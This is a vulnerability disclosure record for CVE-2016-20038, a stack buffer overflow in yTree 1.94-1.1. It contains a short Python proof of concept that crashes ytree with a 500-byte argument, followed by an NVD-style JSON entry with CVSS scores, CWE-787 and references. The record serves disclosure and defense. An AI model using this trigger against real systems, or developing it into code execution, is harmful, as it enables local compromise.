CVE-2016-20038

import subprocess import sys # PoC for CVE-2016-20038 (Stack-based Buffer Overflow) # This script attempts to trigger the overflow by passing a long argument. # Offset might need adjustment based on specific version and environment buffer_size = 500 payload = b"A" * buffer_size try: print("[*] Triggering buffer overflow in yTree...") # Execute ytree with the malicious payload subprocess.run(["ytree", payload], check=False) except FileNotFoundError: print("[!] 'ytree' executable not found. Please ensure it is in your PATH.") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2016-20038", "sourceIdentifier": "[email protected]", "published": "2026-03-28T12:15:59.277", "lastModified": "2026-05-01T15:21:32.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "yTree 1.94-1.1 contains a stack-based buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying an excessively long argument to the application. Attackers can craft a malicious command-line argument containing shellcode and a return address to overwrite the stack and execute code in the application context."}, {"lang": "es", "value": "yTree 1.94-1.1 contiene una vulnerabilidad de desbordamiento de búfer basado en pila que permite a atacantes locales ejecutar código arbitrario al proporcionar un argumento excesivamente largo a la aplicación. Los atacantes pueden elaborar un argumento de línea de comandos malicioso que contenga shellcode y una dirección de retorno para sobrescribir la pila y ejecutar código en el contexto de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://www.han.de/~werner/ytree.html", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/39406", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ytree-stack-based-buffer-overflow", "source": "[email protected]"}]}}